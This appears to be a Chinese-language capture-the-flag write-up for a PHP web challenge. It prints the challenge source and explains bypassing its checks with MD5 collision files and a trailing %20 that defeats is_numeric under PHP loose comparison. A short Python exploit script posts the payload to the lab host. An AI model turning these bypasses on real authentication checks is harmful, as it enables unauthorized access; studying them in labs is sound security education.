1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))
{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
}

}
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}
}Please input first

一进去就给了源码,f12中浏览器可以自动格式化

主要是md5强碰撞,这个可以使用hashcoll生成

如果在传数字时在数字后面加一个空字符如%20、%00,is_numeric会返回非

因为php是弱类型语言,所以到最后被强制转换为数字时,会把空字符去掉

写一个脚本速通

1
2
3
4
5
6
7
8
9
10
11
import requests

url = "http://5d770bfe-1f8d-4c47-bea4-24550174aa12.node5.buuoj.cn:81"
params = {
"gg": open("out1.bin", "rb").read(),
"id": open("out2.bin", "rb").read(),
}

datas = {"passwd": "1234567%20"}
print(requests.post(url=url, params=params, data=datas).text)